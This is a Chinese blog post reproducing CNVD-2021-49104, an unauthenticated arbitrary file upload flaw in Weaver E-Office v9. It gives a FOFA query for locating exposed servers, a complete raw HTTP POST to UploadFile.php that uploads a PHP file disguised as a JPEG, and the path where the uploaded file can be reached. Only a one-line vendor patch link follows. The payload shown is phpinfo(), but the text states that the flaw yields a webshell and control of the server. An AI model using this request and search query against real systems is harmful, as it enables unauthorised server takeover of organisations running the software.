泛微E-Office v9任意文件上传(CNVD-2021-49104)复现

最新推荐文章于 2024-08-18 10:29:23 发布

xju_lr

最新推荐文章于 2024-08-18 10:29:23 发布

阅读量3.1k

点赞数

文章标签： php http java python 信息安全

原文链接：https://mp.weixin.qq.com/s?__biz=MzAwNzkzMzYzMg==&mid=2247484482&idx=1&sn=5b4757276b09d8c3774d98aa67f241cd&chksm=9b77dfedac0056fb03c77606da677271959a97f8fc656de9f4c2e9fb3d64b2aaa18fdfed9343&scene=126&&sessionid=0

版权

0x00 漏洞概况

泛微e-office是一款标准化的协同OA办公软件，实行通用化产品设计，充分贴合企业管理需求，本着简洁易用、高效智能的原则，为企业快速打造移动化、无纸化、数字化的办公平台。由于泛微E-Office未能正确处理上传模块中输入的数据，未授权的攻击者可以构造恶意数据包发送给服务器，实现任意文件上传，并且获得服务器的webshell，成功利用该漏洞可以获取服务器控制权。

0x01 影响范围

泛微 e-office v9.0

0x02 FOFA语法

app="泛微-EOffice"

0x03 漏洞复现

构造请求上传文件即可

POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 127.0.0.1:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348
Content-Length: 193
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4


--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg


<?php phpinfo();?>


--e64bdf16c554bbc109cecef6451c26a4--

上传成功后访问 /images/logo/logo-eoffice.php

0x04 修复建议

厂商已提供漏洞修补方案，建议用户下载使用：

http://v10.e-office.cn/eoffice9update/safepack.zip

长按下方图片关注我们：